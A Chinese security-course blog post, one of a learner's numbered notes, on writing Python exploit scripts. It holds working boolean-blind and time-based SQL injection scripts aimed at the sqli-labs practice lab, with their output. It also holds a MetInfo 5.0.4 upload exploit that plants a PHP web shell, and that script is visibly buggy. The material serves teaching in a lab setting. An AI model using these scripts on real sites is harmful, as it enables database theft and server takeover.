[网络安全学习篇67]:python poc-exp

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含

[网络安全学习篇62]:CSRF 攻击

[网络安全学习篇63]:SSRF

[网络安全学习篇64]:业务安全

[网络安全学习篇65]:提权

[网络安全学习篇66]:Metasploit(MSF)

[网络安全学习篇67]:python poc-exp(本篇)

下期博文:

[网络安全学习篇68]:反序列化漏洞

 

目录

python 编写EXP

requests模块

用pytho脚本实现布尔盲注

用python脚本实现延时注入

文件上传


python 编写EXP

exp 漏洞利用工具

以Web 漏洞为主

1、能够看懂别人写的exp,并修改

2、能自己写exp

基础环境 python3

核心模块 requests

requests模块

详细内容见我的博客:

[网络安全学习篇附]:python3-requests模块

定制头部

重新定义User-Agent 信息

超时

GET 传参

POST 传参

文件上传

cookie 信息

 

用pytho脚本实现布尔盲注

以sqli-labss-8为例,

import requests
import string

url = "http://192.168.1.200/sqli-labs/Less-8/"

normalHtmlLen = len(requests.get(url=url+"?id=1").text)

print("The len of HTML: "+str(normalHtmlLen))

dbNameLen =0

while True:
    dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+"
    #print(dbNameLen_url)

    if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
        print("The len of dbNameLen: "+str(dbNameLen))
        break

    if dbNameLen == 30:
        print("ERROR!")
        break

    dbNameLen +=1

dbName=""

for i in range(1,9):
    for a in string.ascii_lowercase:
        dbName_url = url+"?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
        #print(dbName_url)
        if len(requests.get(dbName_url).text) == normalHtmlLen:
            dbName +=a
            print("The dbName :"+dbName)
            break

------------

The len of HTML: 706

The len of dbNameLen: 8

The dbName :s

The dbName :se

The dbName :sec

The dbName :secu

The dbName :secur

The dbName :securi

The dbName :securit

The dbName :security

>>>

-----------

用python脚本实现延时注入

以sqli-labs-9为例,

import requests
import string

url = "http://192.168.1.200/sqli-labs/Less-9/"

def timeOut(url):
    try:
        res = requests.get(url,timeout=3)
        return res.text

    except Exception as e:
        return "timeout"

dbNameLen = 0

while True:
    dbNameLen +=1
    dbNameLen_url = url+"?id=1'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1) --+"
    #print(dbNameLen_url)

    if "timeout" in timeOut(dbNameLen_url):
        print("The Len of dbName: "+str(dbNameLen))
        break;

    if dbNameLen == 30:
        print("ERROR!")
        break;

dbName = ""

for i in range(1,dbNameLen+1):
    for char in string.ascii_lowercase:
        dbName_url = url+"?id=1'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)--+"
        #print(dbName_url)

        if "timeout" in timeOut(dbName_url):
            dbName +=char
            print("The dbName :"+dbName)
            break;

---------------

The Len of dbName: 8

The dbName :s

The dbName :se

The dbName :sec

The dbName :secu

The dbName :secur

The dbName :securi

The dbName :securit

The dbName :security

>>>

-----------------

 

文件上传

以Metinfov5.0.4为例,

import requests
import sys

url = sys.argv[1]

postUrl = urL+"http://192.168.1.200/metinfov504/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=123.com&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp"

upFile = {"FileData":open(path,"rb")}

res = requests.post(url=postUrl,files=upFile)

print("The Shell path:"+url+res.text[4:])

参考文献:

千峰网络信息安全开源课程

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值